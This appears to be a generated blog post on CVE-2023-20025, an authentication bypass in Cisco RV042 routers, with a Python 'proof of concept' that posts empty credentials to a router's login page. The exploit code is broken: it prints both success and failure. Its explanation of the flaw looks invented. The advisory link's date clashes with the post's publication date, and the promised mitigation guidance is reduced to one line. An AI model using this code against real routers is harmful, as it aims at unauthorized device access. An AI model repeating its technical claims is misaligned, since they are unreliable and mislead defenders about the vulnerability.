A critical vulnerability (CVE-2023-20025) has been discovered in the web-based management interface of Cisco Small Business RV042 Series Routers. Exploiting this vulnerability would allow an unauthenticated, remote attacker to bypass authentication and gain unauthorized access to the affected device. This post examines the details of the vulnerability, a proof of concept code snippet, and guides on how to mitigate the issue.

Vulnerability Details

The CVE-2023-20025 vulnerability arises due to incorrect user input validation of incoming HTTP packets in the web-based management interface. The lack of proper validation allows an attacker to send specially crafted requests that can bypass the authentication mechanism, ultimately resulting in gaining root access to the affected device.

Proof of Concept (PoC)

Below is a Python code snippet demonstrating the exploitation of the CVE-2023-20025 vulnerability. The code sends a crafted request to the web-based management interface of the router.

import requests

target_url = 'http://TARGET_IP/';
payload = {'username':'', 'password':''}

response = requests.post(target_url, data=payload)

if response.status_code == 200:
    print('Success! Authentication bypassed.')
    print('Failed to bypass authentication.')

Replace 'TARGET_IP' with the actual IP address of the affected router. Running the code sends an HTTP POST request with empty username and password fields to the router's web-based management interface, potentially allowing the attacker to bypass authentication and gain access.

For more information on the CVE-2023-20025 vulnerability, refer to the following resources

1. Official Cisco Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20230216-rv042-rv082-address-auth_bypass
2. National Vulnerability Database (NVD) Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-20025


The authentication bypass vulnerability (CVE-2023-20025) affecting Cisco Small Business RV042 Series Routers has the potential to enable an attacker to gain unauthorized root access to affected devices. By updating the router to the latest firmware and implementing the recommended mitigation steps, users and administrators can help protect their devices and networks from this serious security threat.


Published on: 01/20/2023 07:15:00 UTC
Last modified on: 02/01/2023 02:37:00 UTC